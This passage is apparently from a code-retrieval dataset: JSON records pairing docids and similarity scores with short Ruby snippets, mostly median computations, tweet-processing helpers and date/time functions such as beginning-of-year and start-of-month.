(sorted_array[length/2 -1] + ' ' + sorted_array[length/2]) #returns middle two strings\n\t\telse \n\t\t\treturn (sorted_array[length/2 - 1] + sorted_array[length/2]).to_f / 2 # returns the mean \n\t\tend\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# of the middle two numbers\t\t\t\t\t\n\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\treturn (sorted_array[length/2])\n\tend\nend", "title": "" }, { "docid": "caba4ae6ad8394bb1a46bd5503e40727", "score": "0.5558142", "text": "def shortened_tweet_truncator (tweet)\n selective_tweet_shortener(tweet)[0..139]\nend", "title": "" }, { "docid": "30f93cc6a88c22f873f1b16f554275db", "score": "0.5557034", "text": "def prefix_tweet_count(tweet_collection)\n # Deleting tweet chunks containing only whitespaces.\n tweet_collection.delete_if {|tweet| tweet =~ /\\A\\s*\\z/ }\n tweet_collection.each_with_index do |tweet, tweet_index|\n print tweet.prepend(\"#{tweet_index+1}/#{tweet_collection.length}\")\n print \"\\n\"\n end\nend", "title": "" }, { "docid": "c4c800acd685fe23909e2455a454c71d", "score": "0.55482644", "text": "def median(array)\n\tnew_arr = array.sort\n\tn = new_arr.length\n\tif n % 2 == 1\n\t\treturn new_arr[n/2]\n\tend\n\tis_num = new_arr[0].is_a? Numeric\n\tif is_num\n\t\treturn ( new_arr[n/2] + new_arr[n/2 - 1] ) / 2.0\t\n\tend\n\treturn \tnew_arr[n/2 - 1 ] + \" \" + new_arr[n/2]\nend", "title": "" }, { "docid": "0594a8e64078fee977aa9f205afbe78e", "score": "0.5543094", "text": "def median( arrayofvalues )\n count = arrayofvalues.length\n if arrayofvalues.length%2 == 0 # It is even so return the average of the middle elements\n key = arrayofvalues.length/2\n key.round\n median = (arrayofvalues[key] + arrayofvalues[key-1])/2.to_f\n else\n # It's not even so return the element sup\n key = arrayofvalues.length/2\n key.round\n arrayofvalues[key]\n end\nend", "title": "" }, { "docid": "b6f2a774a193ae4fb7c295b54684d58a", "score": "0.554286", "text": "def median(a)\n b = a.sort\n len = b.size\n c = len / 2\n if len % 2 == 1\n b[c]\n else\n (b[c-1] + b[c]) / 2.0\n end\nend", "title": "" }, { "docid": "1a164b5c3b8f58dbbcad4d26b826f84d", "score": "0.5542678", "text": "def median(integers)\n # mostly from github.com/apopma/stats\n sorted_ints = integers.sort\n \n if sorted_ints.length % 2 == 0\n middle1 = sorted_ints[sorted_ints.length / 2]\n middle2 = sorted_ints[(sorted_ints.length / 2) - 1]\n return (middle1 + middle2) / 2.0\n \n else\n return sorted_ints[sorted_ints.length / 2]\n end\nend", "title": "" }, { "docid": "3e83f8e51e6c136feb4573f6d6718591", "score": "0.5538718", "text": "def length_median_b\n point_b.distance_to_point(point_a.get_midpoint point_c)\n end", "title": "" }, { "docid": "f69b8665b8e1ba384bb82934e91596ce", "score": "0.5535961", "text": "def word_stats(string)\n\twordArr = string.scan(/\\w+/)\n\t$wordCount = wordArr.length\n\tputs \"Word count: \"+ $wordCount.to_s\n\t\n\tpunctuationCount = string.scan(/[:punct:]/).length\n\ttotalWordLength = 0.0\n\twordArr.each {|word| totalWordLength = totalWordLength+word.length}\n\tputs \"Average word length: \" + ((totalWordLength-punctuationCount)/$wordCount).to_s\n\tputs \"------\"\nend", "title": "" }, { "docid": "d89a5e47da74644041a63e1155f1c149", "score": "0.5533171", "text": "def cal_median_time(times)\n sorted_times = times.sort\n size = sorted_times.size\n mid = size / 2\n\n if size.odd?\n sorted_times[mid]\n else\n (sorted_times[mid - 1] + sorted_times[mid]) / 2.0\n end\n end", "title": "" }, { "docid": "d4bcde3f7280f9b642d5429d13410fa9", "score": "0.55310565", "text": "def calculate_metrics\n number_of_comments_greater_than_10_words\n number_of_comments_greater_than_20_words\n end", "title": "" }, { "docid": "72ae4b5f30f5dc16787482a651700da1", "score": "0.5530939", "text": "def collect_tweets\n\t\t\ttweets = []\n\t\t\twords = []\n\t\t\t\tEM.run do\n\t\t\t\t\tclient = TweetStream::Client.new \n\t\t\t\t\tEM::PeriodicTimer.new(300) do # Running an EM to run the task over a given period of time 300sec = 5min...in case you were wondering\n\t\t\t\t\t\tclient.stop\n\t\t\t\t\t\tend\n\t\t\t\t\t\tclient.sample(language: 'en') do |tweet| # English tweets only for the sake of ease and familiarity\n\t\t\t\t\t\t\ttweets << tweet.text.strip\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ttweets.each do |tweet| # Complete tweets return as arrays, so we need to split them into individual word \n\t\t\t\t\t\twords << tweet.split(/\\W+/)\n\t\t\tend\n\t\t\ttop_words(words) # Driver code to call next method\n\t\tend", "title": "" }, { "docid": "f608a270d802cec5a5b5af0fd7416463", "score": "0.552764", "text": "def median(arr)\n\tif arr.length == 0\n\t\treturn \"empty array\"\n\telsif arr.length == 1\n\t\treturn arr[0]\n\telsif arr.length == 2 && arr[0].is_a?(Integer)\n\t\treturn (arr[0]+arr[1])/2.to_f\n\telsif arr.length == 2\n\t\treturn \"there are two medians: \" + arr[0] + ' and ' + arr[1]\n\telse\n\t\tvars_to_remove = arr.minmax\n\t\tfor var in vars_to_remove\n\t\t\tarr.delete_at(arr.index(var)) #this makes sure that only one item is dropped. a simple FIND would drop all examples of the number\n\t\t\t\t#find_index or rindex would also work\n\t\tend\n\t\tmedian(arr) #recursive call\n\tend\nend", "title": "" }, { "docid": "75c49bf75ba527bd92fd1b804f938d9b", "score": "0.55264455", "text": "def median\n return nil if size == 0\n sorted = sort\n med_norm = sorted[size/2]\n med_even = sorted[size/2-1]\n size % 2 ? (med_norm + med_even)/2 : med_norm\n end", "title": "" }, { "docid": "9672569db48f87739ebeb555f35fc207", "score": "0.55144405", "text": "def filter_tweet_and_store_words(tweets)\n tweets.each do |tweet|\n if filter_words(tweet) != nil\n eng_filtered = filter_words(tweet)\n stop_filtered = filter_stop_words(eng_filtered)\n stop_filtered.each do |word|\n store_word_freq(word)\n end\n end\n end\n end", "title": "" }, { "docid": "76ddf3a7d3ea5291c6db1f04d486d685", "score": "0.5508211", "text": "def median(array)\n sorted = array.sort\n len = sorted.length\n return (sorted[(len - 1) / 2] + sorted[len / 2]) / 2.0\n end", "title": "" }, { "docid": "e1741ef904c38c9beb646d036ea3d4a6", "score": "0.55057675", "text": "def sorted_median\n at_fraction(0.5)\n end", "title": "" }, { "docid": "28724fa3b829ac71a0c7b09d207e8930", "score": "0.55040234", "text": "def medians\n @median_times ||= step_times.reduce([]) do |medians, (step, times)|\n medians.push [step, median(times)]\n end.freeze\n end", "title": "" }, { "docid": "46569a5dbf06901437f4a0fbd57926ea", "score": "0.5499866", "text": "def median(input)\n if input.length.odd?\n idx=input.length/2\n return input.sort[idx]\n else\n idx1=input.length/2-1\n idx=idx1+1\n return (input.sort[idx]+input.sort[idx1]).to_f/2.0\n end\nend", "title": "" }, { "docid": "6a88a9130aaab9316cc64c429a4d229f", "score": "0.54939693", "text": "def median(array)\norder = array.sort\ntotal = array.count\nif total.even?\n\tcenter = array.count / 2.0\n\tmedian = (array[center] + array[center-1]) / 2.0 \n\tmedian\nelse\ncenter = array.count / 2.0\n\t center = center.round\n\t array[center-1]\nend\n\nend", "title": "" }, { "docid": "b43a0c9d0c56451b588f3017274391bd", "score": "0.5491026", "text": "def median\n ary = self.to_a.compact.sort.uniq\n return nil if ary.empty?\n if ary.size % 2 == 1 # Even number of entries\n ary[(ary.size-1) / 2]\n else # Odd number of entries\n idx = (ary.size-1) / 2\n (ary[idx] + ary[idx+1]) / 2.0\n end\n end", "title": "" }, { "docid": "788761f007466a79c9da0b8146f0bd2e", "score": "0.54893583", "text": "def median\n return nil if self.length == 0\n sorted = self.sort\n mid = self.length / 2\n self.length.even? ? (sorted[mid - 1] + sorted[mid])/2.0 : sorted[mid]\n end", "title": "" }, { "docid": "ed0f99ecdd9123785ebfe85c57955c15", "score": "0.5489166", "text": "def median(array)\n array.sort!\n return array[array.length/2] if array.length % 2 != 0\n return (array[array.length/2] + array[array.length/2 - 1]) / 2.0\nend", "title": "" }, { "docid": "09ca0729549dec7d416c12e5908a471d", "score": "0.54886305", "text": "def more_500(chars)\n return chars.select { |c| c[:mentions] >= 500 }\nend", "title": "" }, { "docid": "60565c6e648a41379e30a3e3f14440d4", "score": "0.5486675", "text": "def median(array)\n return if array.empty?\n sorted = array.sort\n len = sorted.size\n (sorted[(len - 1) / 2] + sorted[len / 2]) / 2.0\nend", "title": "" }, { "docid": "b4c61d1634bcaf7f1bdd4b55f7030d6c", "score": "0.5482812", "text": "def median\n data = self\n\n halfway = data.count / 2\n\n # Sort the array\n data = data.sort\n\n # The median will be different based on the number of numbers in the array\n # If there is an even number in the array\n if(data.count % 2) == 0\n median = (data[halfway] + data[halfway-1]) / 2.0\n\n # Else, there is an odd number of elements in the array\n else\n median = data[halfway]\n end\n\n median\n end", "title": "" }, { "docid": "ea918e939a7208842c4d4eb0d9937b05", "score": "0.5482235", "text": "def median_responses_per_session\n median(Question.connection.select_values(\"\n SELECT COUNT(*) total FROM (\n (SELECT voter_id vid FROM votes WHERE question_id = #{id})\n UNION ALL\n (SELECT skipper_id vid FROM skips WHERE question_id = #{id})\n ) b GROUP BY b.vid ORDER BY total\n \").map{|i| i.to_i}, true) || nil\n end", "title": "" }, { "docid": "bb374808fcc3882493ddbf2f44d5aedd", "score": "0.5473979", "text": "def median(list)\n sort_list = list.sort\n while sort_list.length > 2\n sort_list.pop\n sort_list.shift\n end\n if sort_list.length == 2\n return (sort_list[0].to_f + sort_list[1].to_f) / 2\n end\n sort_list[0]\nend", "title": "" }, { "docid": "3933f0e90ec60ffecd390ac5e46443c4", "score": "0.547216", "text": "def main_1(tweets_list)\n tweets_list.each do |key, tweet|\n clean_tweet tweet\n sentimental_and_score_analysis tweet\n @@rtf.push(Integer(tweet[\"retweet_count\"]) + Integer(tweet[\"favorite_count\"]))\n @@abo.push(Integer(tweet[\"user\"][\"followers_count\"]))\n end\n end", "title": "" }, { "docid": "3c347a6dfcdcfc43ec7070c9843884aa", "score": "0.54639107", "text": "def median\n sorted = self.sort\n mid = sorted.length / 2.0\n if mid % 1 == 0\n (sorted[mid] + sorted[mid - 1]) / 2.0\n else\n sorted[mid.to_i]\n end\n end", "title": "" }, { "docid": "b571a4cde8855bba4b9849001bf4039e", "score": "0.5462209", "text": "def median(data)\n data = data.sort\n\tif data.length % 2 != 0\n \t\tmedian = data[data.length / 2]\n \telse\n \t\tmedian = (data[data.length / 2] + data[((data.length / 2) - 1)]) / 2.to_f\n\tend\n return median\nend", "title": "" }, { "docid": "db6c0d0ca18a4f72ef6813082efccf3f", "score": "0.5459881", "text": "def tweet_analysis_progress\n max = self.tweets.count\n count = max - self.tweets.where(queue: 100000).count\n ((count.to_f / max.to_f) * 100).round(2)\n end", "title": "" } ]
7ca2ff6a0dc39f0c8fee9d29f682d1b5
Returns a new Time representing the start of the year (1st of january, 0:00)
[ { "docid": "03ef5fc4b4c761a25dc5175a08fb8d7c", "score": "0.78706264", "text": "def beginning_of_year\n change(:month => 1,:day => 1,:hour => 0, :min => 0, :sec => 0, :usec => 0)\n end", "title": "" } ]
[ { "docid": "0bf7975859472a5a92d0b7bf7a0cc031", "score": "0.7384511", "text": "def beginning_of_year\n change(month: 1).beginning_of_month\n end", "title": "" }, { "docid": "2468cd44942fcb09d6afb7969baafa5b", "score": "0.7080429", "text": "def start_of_year\n @start_of_year ||= year_start_date\n end", "title": "" }, { "docid": "9b54eda3c89f42792f37b3368eece21b", "score": "0.7042495", "text": "def start_at\n today = Time.now\n Time.new(today.year, today.month, today.day, 9,0,0)\n end", "title": "" }, { "docid": "2d9eaf282df61e4b1729b306e9c7e8b5", "score": "0.7017025", "text": "def start_of_year(year)\n date_calc.start_of_year(year)\n end", "title": "" }, { "docid": "fae061edb53ca4d1a1fee3d2e9c3928a", "score": "0.6983531", "text": "def to_start_of_day\n return Time.mktime(year, month, day, 0, 0, 0, 0)\n end", "title": "" }, { "docid": "4c5f8f8160146495f169bd8d079a3433", "score": "0.6918053", "text": "def get_start_date\n date = Time.new\n year = date.year\n month = date.month < 10 ? \"0\" + date.month.to_s : date.month\n day = date.day < 10 ? \"0\" + date.day.to_s : date.day\n start_date = \"#{year-2}-#{month}-#{day}\"\n start_date\nend", "title": "" }, { "docid": "c08ace96d92420f86ba862bcda7fe25a", "score": "0.68553686", "text": "def start_year\n Time.now.year - 18\n end", "title": "" }, { "docid": "0ea1063b9527b5f140387fc75d7ee399", "score": "0.67306817", "text": "def start_year\n Time.now.year - 75\n end", "title": "" }, { "docid": "b73a62e9203ec7438ac75dcb4e4e5417", "score": "0.66940457", "text": "def new_year(date) = ::Date.new(Integer === date ? date : date(date).year, 1, 1, reform_jd).new_start(::Date::GREGORIAN)", "title": "" }, { "docid": "4c9f08854439eca24a14d6c73fd8dcbd", "score": "0.66123134", "text": "def start_date\n\t\treturn Date.new(y=year, m=START_MONTH, d=START_DAY)\n\tend", "title": "" }, { "docid": "57e1c10df871f555bb4371d4fedc6082", "score": "0.65649915", "text": "def start_date\n\t\tDate.new( @year, @month, 1 )\n\tend", "title": "" }, { "docid": "9549c8c951b5310579dbb6b3197471a0", "score": "0.64269525", "text": "def beginning_of_month\n self.class.new year, month, 1\n end", "title": "" }, { "docid": "df010d87f46dedd8f1e47540878fdcf1", "score": "0.64216584", "text": "def beginning_of_month\n first_hour(change(day: 1))\n end", "title": "" }, { "docid": "4756cd01497dddacd7eedc161d44e4ad", "score": "0.6410021", "text": "def start_datetime\n d = date\n t = start_time || Time.new.midnight\n DateTime.new(d.year, d.month, d.day, t.hour, t.min, t.sec)\n end", "title": "" }, { "docid": "1b340f35af553e5713725cea42f15083", "score": "0.6385516", "text": "def first_day\n @first_day ||= Date.new(year_number, month_number, 1)\n end", "title": "" }, { "docid": "59e358779c0ffe88d9a551b2564b71ff", "score": "0.63694185", "text": "def effective_year\n if next_year_start_at && Time.zone.now < 1.year.from_now(next_year_start_at)\n if Time.zone.now < next_year_start_at\n return Time.zone.now.year\n elsif Time.zone.now >= next_year_start_at\n if Time.zone.now.year == next_year_start_at.year\n return Time.zone.now.year + 1\n else\n return Time.zone.now.year\n end\n end\n elsif Time.zone.now.month == 12 && Time.zone.now.day >= 1\n return Time.zone.now.year + 1\n end\n\n Time.zone.now.year\n end", "title": "" }, { "docid": "7ff373434d1d3a059891543c0209e268", "score": "0.63548994", "text": "def beginning_of_day\n change(hour: 0, min: 0, sec: 0)\n end", "title": "" }, { "docid": "f42d726d11a9509b897d366a85d92e73", "score": "0.6336928", "text": "def start_of_time\n Date.jd(0).strftime(\"%Y-%m-%d\")\n end", "title": "" }, { "docid": "256ffb9a35bd87ee74ffd1138a8faa9e", "score": "0.6259377", "text": "def starting_time_for(page)\n @initial.years_since(time_offset_for(page))\n end", "title": "" }, { "docid": "ed26bac1ef298eae2dc5ee561f7ee8ae", "score": "0.62284887", "text": "def start_of_month\n Date.new(self.strftime('%Y').to_i, self.strftime('%m').to_i, 1)\n end", "title": "" }, { "docid": "1a4d58891b4f98c46eebd98cb15ea4d5", "score": "0.6223721", "text": "def start_date_time\n return nil unless start_date && start_time\n DateTime.new(start_date.year, start_date.month, start_date.day, start_time.hour, start_time.min, start_time.sec, start_time.zone)\n end", "title": "" }, { "docid": "747a453e768757fae4a1830e5ac66fb3", "score": "0.6181811", "text": "def new_year(input)\n equinox = Integer === input ? @astro.solar_event(:march_equinox, input) : @astro.previous(:march_equinox, input)\n date = local_date(equinox)\n equinox.localtime(utc_offset).hour < 12 ? date : date + 1\n end", "title": "" }, { "docid": "e7f3a500f5e719e04e15403b94d973a0", "score": "0.6179746", "text": "def first_year\n 2012\n end", "title": "" }, { "docid": "ae5ad93316aca24dfb6a84178d5e7cd0", "score": "0.6158712", "text": "def beginning_of_day\n change(hour: 0)\n end", "title": "" }, { "docid": "632c869980f246748a7b92657352160c", "score": "0.61380166", "text": "def is_always_first_day_of_year?\n seconds == 0\n end", "title": "" }, { "docid": "9b1ba517b42eda6ddc9c375dc537e89b", "score": "0.6119212", "text": "def m_first_day\n return MhcDate .new(@y, @m, 1)\n end", "title": "" }, { "docid": "38e3684edac3acafc0a9a805641a3f82", "score": "0.611816", "text": "def beginning_of_day\n #(self - seconds_since_midnight).change(:usec => 0)\n change(:hour => 0)\n end", "title": "" }, { "docid": "051faa7f28dc5805a2edda175efb0abd", "score": "0.61119187", "text": "def beginning_of_day\n to_time\n end", "title": "" }, { "docid": "742146012cac229f577b31ba80a429bc", "score": "0.61080474", "text": "def this_year\n year(Time.now)\n end", "title": "" }, { "docid": "b07bde1e3cb22fcd744e0fe905e416aa", "score": "0.60838705", "text": "def start_date\n weekday = beginning_of_month.cwday\n offset = weekday == 1 ? 0 : (weekday - 1).days\n beginning_of_month - offset\n end", "title": "" }, { "docid": "ea52388ec92d675e9eb61c2bf0f9204d", "score": "0.6077645", "text": "def beginning_of_day\n (self - self.seconds_since_midnight).change(:usec => 0)\n end", "title": "" }, { "docid": "d5407e1aa46185e0715f8a66f4710d3d", "score": "0.60608953", "text": "def iso_year_start(wkst)\n iso_year_and_week_one_start(wkst)[1]\n end", "title": "" }, { "docid": "c124153709d76ae500326d2b44267666", "score": "0.60184705", "text": "def first_of_month\n @first_of_month ||= Date.new(@year, @month)\n end", "title": "" }, { "docid": "d9bdcfb0dfbfd8cd2e0a6821e5937cc5", "score": "0.60034275", "text": "def first_of_month\n Date.new(self.year, self.month)\n end", "title": "" }, { "docid": "4bbd85960afb123376316c07b5eb16d1", "score": "0.5964333", "text": "def day_of_year\n (seconds_since_start_of_year / D_SECS).to_i + 1\n end", "title": "" }, { "docid": "1af20329f408a9b6e80852204ed71b6b", "score": "0.59487784", "text": "def a_year()\n now = Time.now\n if now.month < 4\n now.year - 1\n else\n now.year\n end\nend", "title": "" }, { "docid": "3c6f9c04a324d914e7443eb043db076e", "score": "0.5947968", "text": "def local_beginning_of_day\n change_local(hour: 0, min: 0, min: 0)\n end", "title": "" }, { "docid": "20800c56ddd720698770a8e9671437d9", "score": "0.5945023", "text": "def beginning_of_month\n #self - ((self.mday-1).days + self.seconds_since_midnight)\n change(:day => 1,:hour => 0, :min => 0, :sec => 0, :usec => 0)\n end", "title": "" }, { "docid": "5a580e1c35d8cbde14b4c6fa0de3ef47", "score": "0.5937882", "text": "def raw_year\n start_on.year\n end", "title": "" }, { "docid": "0e2e0263080a1e0f95db37ef589b7415", "score": "0.5919454", "text": "def default_year\n Time.now.month <= 5 ? Time.now.year : Time.now.year + 1 \n end", "title": "" }, { "docid": "acb4c98686fdf03616db9b24b6ee9769", "score": "0.5915666", "text": "def start_datetime(timeframe = nil)\n case timeframe\n when \"1month\" then 1.month.ago.to_datetime\n when \"3months\" then 3.months.ago.to_datetime\n when \"2years\" then 2.years.ago.to_datetime\n else 5.years.ago.to_datetime\n end\n end", "title": "" }, { "docid": "aa7d2dc2d9230bfa52302348760aa497", "score": "0.5890197", "text": "def beginning_of_hour\n change(min: 0)\n end", "title": "" }, { "docid": "aa7d2dc2d9230bfa52302348760aa497", "score": "0.5890197", "text": "def beginning_of_hour\n change(min: 0)\n end", "title": "" }, { "docid": "9d0f2773d08e86e0c277d107c3cdd1f6", "score": "0.5886199", "text": "def year\n @year ||= TODAY.year\n end", "title": "" }, { "docid": "1ae7310eba3cb509ee503d0c699cf64e", "score": "0.5884045", "text": "def to_time\n Time.local(2000 + year, month, day, hour, minute, second)\n end", "title": "" }, { "docid": "8d7ae2787aaa7629294de8e7f0e88cc6", "score": "0.5873139", "text": "def beginning_of_minute\n change(sec: 0)\n end", "title": "" }, { "docid": "8d7ae2787aaa7629294de8e7f0e88cc6", "score": "0.5873139", "text": "def beginning_of_minute\n change(sec: 0)\n end", "title": "" }, { "docid": "c3bdd9766e6e5c0efc33423d7ff40de3", "score": "0.5864834", "text": "def start_of_planning_year\n start_of_fiscal_year current_planning_year_year\n end", "title": "" }, { "docid": "9bf363dfc192f56305e4ebe64afd5817", "score": "0.5830478", "text": "def start_date\n\t \tTime.at(self.start_time) rescue nil\n\t end", "title": "" }, { "docid": "40717f1fa401c78bb2dedb7d28c27320", "score": "0.5815657", "text": "def beginning_of_month\n ZDate.new(ZDate.format_date(year_str, month_str))\n end", "title": "" }, { "docid": "542bf02b085b8f1836d7df72f8075fb8", "score": "0.5803127", "text": "def synthesize_start_date(params)\n Date.civil(params[:start_time][:year].to_i, params[:start_time][:month].to_i,\n params[:start_time][:day].to_i)\n end", "title": "" }, { "docid": "b71a43c92b73bb260f01d7adf47dbd9a", "score": "0.5802659", "text": "def inizio_minuto\n Time.new(self.year, self.month, self.day, self.hour, self.min)\n end", "title": "" }, { "docid": "41feeb7c78c00eedd956b935df7cc641", "score": "0.57784253", "text": "def start_of_month\n @start_of_month ||= date_calc.start_of_month(year, merch_month)\n end", "title": "" }, { "docid": "14d9a7552678648b93b7af831c737c19", "score": "0.577428", "text": "def fiscal_year_start_date\n Date.today.month < 7 ? \"07/01/#{Date.today.year - 1}\" : \"07/01/#{Date.today.year}\"\n end", "title": "" }, { "docid": "8546d69efafdb719ab30b6b0b1d79148", "score": "0.57536", "text": "def initialize(start_year=nil)\n start_year ||= find_default_start_year\n @start_date = Date.new(start_year,8,1)\n @end_date = Date.new((start_year + 1),7,31)\n end", "title": "" }, { "docid": "3e39885e94974e993cc5d24fc5d87b0c", "score": "0.5746933", "text": "def to_time\n if @year >= 1970\n Time.gm(*to_a)\n else\n nil\n end\n end", "title": "" }, { "docid": "9cdf3b3d3181d7565228b22d205f43ae", "score": "0.5733001", "text": "def start_time_text\n if (started_at == nil)\n return \"Don't know\"\n end\n diff = started_at.yday - Time.now.yday\n sameyear = (started_at.year == Time.now.year)\n if (diff == 0 && sameyear)\n started_at.strftime(\"TODAY at %I:%M %p\")\n elsif (diff == -1 && sameyear)\n started_at.strftime(\"YESTERDAY at %I:%M %p\")\n else\n started_at.strftime(\"%A, %B %d, %Y at %I:%M %p\")\n end\n end", "title": "" }, { "docid": "a7fbbf246b53f99b85c1cd4c2a064fd8", "score": "0.570027", "text": "def beginning_date\n Date.new(@number, 1, 1).tuesday? ? Date.new(@number, 1, 2) : Date.new(@number, 1, 1)\n end", "title": "" }, { "docid": "da03feba1d61f5a204065a8d209efaf7", "score": "0.56998116", "text": "def first_day\n m = set_month\n q = 1\n y = set_year\n h = (q + (((m+1) * 26)/10) + y + (y/4) + (6 * (y/100)) + (y/400)) % 7\n end", "title": "" }, { "docid": "ca66f12c0c23fd7965ef5ef4601c6f8e", "score": "0.5678804", "text": "def start_date_date(date_if_blank = false)\n return make_date(start_date_year,start_date_month,start_date_day,date_if_blank)\n end", "title": "" }, { "docid": "c4335b32a709c53d580f1499f49d2603", "score": "0.56764203", "text": "def normalize_start_date\n self.start_date ||= Time.zone.now\n if self.start_date.to_date == Date.today\n self.start_date = Time.zone.now\n end\n self.start_date += 1.year if self.start_date < Date.today\n true\n end", "title": "" }, { "docid": "f06924758a086208859f63ffbc7e1638", "score": "0.5661588", "text": "def time\n return Time.new(@t_year, @t_month, @t_day, @t_hour, @t_min, @t_sec)\n end", "title": "" }, { "docid": "6ae2e9a4d9ebd07128a15fb0934c3305", "score": "0.5654099", "text": "def start_today_at\n today = Time.zone.today\n Time.zone.local(today.strftime('%Y'), today.strftime('%m'),\n today.strftime('%d'), start_at.strftime('%H'),\n start_at.strftime('%M'))\n end", "title": "" }, { "docid": "eff5c5c75c62268487c4df447f9d568b", "score": "0.56512064", "text": "def base_for_time_range_components\n Time.current.beginning_of_day\n end", "title": "" }, { "docid": "d840f75a0732779a18d175b434389daa", "score": "0.56335175", "text": "def current_year\n Time.current.year\n end", "title": "" }, { "docid": "982fac3f264330b265a26df1b92082f3", "score": "0.56253964", "text": "def is_always_first_day_of_year?\n seconds == 86400\n end", "title": "" }, { "docid": "b555467024cf3005a2791f727d75bb62", "score": "0.56180996", "text": "def beginning_of_day\n self - self.seconds_since_midnight\n end", "title": "" }, { "docid": "f9db71df0d0c23bc4b0ca3bb63b86305", "score": "0.5600921", "text": "def start_time(*args)\n raw = starts_at || shift.starts_at\n raw = Time.local date.year, date.month, date.day, raw.hour, raw.min\n return raw if args.include? :raw\n raw.to_s(:meridian_time).strip\n end", "title": "" }, { "docid": "075fcd3d785ee1a30814446e9312643e", "score": "0.5599026", "text": "def get_current_semester\n time = Time.new\n if time.month >= 3 && time.month < 10\n time.year.to_s + '08'\n else\n (time.year + 1).to_s + '01'\n end\n end", "title": "" }, { "docid": "4eb81d4ebb4e5c0c1a1f9ff28ef4ebaa", "score": "0.55924284", "text": "def fine_minuto\n Time.new(self.year, self.month, self.day, self.hour, self.min, 59)\n end", "title": "" }, { "docid": "a810a4ef8f96978d2c6d05caa6856ccb", "score": "0.55847853", "text": "def change_to_beginning_of_month\n @month.to_date.beginning_of_month\n end", "title": "" }, { "docid": "fa7defbde9f47f822fd20ac8c02ce430", "score": "0.5575838", "text": "def inizio_ora\n Time.new(self.year, self.month, self.day, self.hour)\n end", "title": "" }, { "docid": "c5485c124fce868f3a8375e6dc91aa0f", "score": "0.55707103", "text": "def start_of_fiscal_year date_year\n # System Config provides a string giving the start day of the fiscal year as \"mm-dd\" eg 07-01 for July 1st. We can\n # append the date year to this and generate the date of the fiscal year starting in the date calendar year\n date_str = \"#{SystemConfig.instance.start_of_fiscal_year}-#{date_year}\"\n\n start_of_fiscal_year = Date.strptime(date_str, \"%m-%d-%Y\")\n end", "title": "" }, { "docid": "fb7f115b7e706d5c98d01b468dd8bd9a", "score": "0.5565899", "text": "def week_start(week_num, year = 0)\n year = Time.now.year if year == 0\n \n begin\n first_date_of_the_week = Date.commercial(year, week_num, 1)\n \n # Date.commercial throws an exception if it can't find the \n # Monday of the week. This usually happens if the Monday\n # of the week is on the previous year. For example,\n # December 28, 2009 (Monday) - January 3, 2010 (Sunday)\n rescue\n # we'll basically decrement the year\n year -= 1\n first_date_of_the_week = Date.commercial(year, week_num, 1)\n end\n \n first_date_of_the_week\n end", "title": "" }, { "docid": "917c0c6a2f580c9d3a083b79cc568546", "score": "0.5556611", "text": "def get_begin_date\n get_end_date.prev_year\n end", "title": "" }, { "docid": "f62ad9698c3b3d66f40674a3bee89cce", "score": "0.55562764", "text": "def gas_year\n y = year\n if self< Date.new(y,10,1)\n y\n else\n y+1\n end\n end", "title": "" }, { "docid": "3c7358c26d61abea132c17125632b73a", "score": "0.55385524", "text": "def set_StartYear(value)\n set_input(\"StartYear\", value)\n end", "title": "" }, { "docid": "7084d2f16654cb46a9059611ef1ed778", "score": "0.55383396", "text": "def adjust_to_noon (time)\n\tnew_time = Time.new(time.year, time.month, time.day) \n\treturn new_time\nend", "title": "" }, { "docid": "50d73be4f0b5c8ebb18d64ce1fd3e4cd", "score": "0.5533044", "text": "def start\n starts_at.strftime(\"%R\")\n end", "title": "" }, { "docid": "36213d1dccd2333295226009456ad22f", "score": "0.55191326", "text": "def year\n (seconds_since_epoch / Y_SECS).to_i\n end", "title": "" }, { "docid": "9dd9b81ec0ec25cd244bd591530d692f", "score": "0.5518883", "text": "def first_hour\n\t\tday_begins_at.strftime '%l%P'\n\tend", "title": "" }, { "docid": "c54d9c5b34cda3c43eef97660aedec57", "score": "0.55187464", "text": "def get_next_yr\n\tset_cur_year(get_cur_year+1)\nend", "title": "" }, { "docid": "0890b68ada9ecafec9bdb0f222e836a3", "score": "0.55173886", "text": "def current_period_start_date\n Date.new(Date.today.year, Date.today.month, current_day_start_date)\n end", "title": "" }, { "docid": "2739dd2e7f268cc9b9193e8a40ec86a2", "score": "0.5514726", "text": "def start_time(time)\n if time < time.set_time_to( @opening_time )\n time.set_time_to( @opening_time )\n else\n time\n end\n end", "title": "" }, { "docid": "f4d0ec087dd013ad57f27f5006fc7705", "score": "0.5511831", "text": "def start_time\n start_at.strftime(\"%F\") if start_at\n end", "title": "" }, { "docid": "1bb2e52980818ef8b193ce4a6e56405d", "score": "0.5504136", "text": "def start_time\n self.day\n end", "title": "" }, { "docid": "f169d501bd80cee1073830591dbe9b13", "score": "0.5496892", "text": "def min_year\n 2015\n end", "title": "" }, { "docid": "3f75bc9cafc62b493c0ba27f8b27ae8c", "score": "0.5495651", "text": "def start(value = nil)\n return @start unless value\n @start = _parse_time(value)\n end", "title": "" }, { "docid": "0c83285d08a79a240bccdc4f016035a4", "score": "0.5485552", "text": "def to_date\n Date.new(year, number, 1)\n end", "title": "" }, { "docid": "39db47d910b3f994cf56031f5b1e4c43", "score": "0.5481766", "text": "def first_day_of_month(date_time=Time.now)\n date_time.beginning_of_month\n end", "title": "" }, { "docid": "9b63135969b5b12471d7be730231c708", "score": "0.5477221", "text": "def build_school_year(year=nil)\n return SchoolYear.new if year.blank?\n\n starting_day = (year.is_a? Date) ? year : start_date_from_year(year)\n SchoolYear.new(start_date: starting_day, end_date: starting_day.next_year)\n end", "title": "" }, { "docid": "41b527efffe7fb580b1953f9d62da84b", "score": "0.5469599", "text": "def expected_start\n val = super\n val = DatelessTime.new val unless val.blank?\n val\n end", "title": "" }, { "docid": "d1861ad5618146cbcc00c8808fbedf83", "score": "0.54586494", "text": "def to_time\n raise RangeError if @year.nil?\n if @month.nil?\n Time.utc(@year)\n elsif @day.nil?\n date = [@year, @month, '01'].join('-')\n Time.parse(date).getutc\n else\n Time.parse(@date_time).getutc\n end\n end", "title": "" }, { "docid": "ea0ef6be58604b981ed846f982469c95", "score": "0.54571295", "text": "def first_day\n @first_day ||= months.first.first_day\n end", "title": "" }, { "docid": "1b0f688f58cdf3bc0b9786cd413c6e62", "score": "0.5456943", "text": "def started_at\n # from TAI to Unix\n @started_at ||= @raw ? Time.at((@raw[0] << 32) + @raw[1] - 4611686018427387914) : nil\n end", "title": "" }, { "docid": 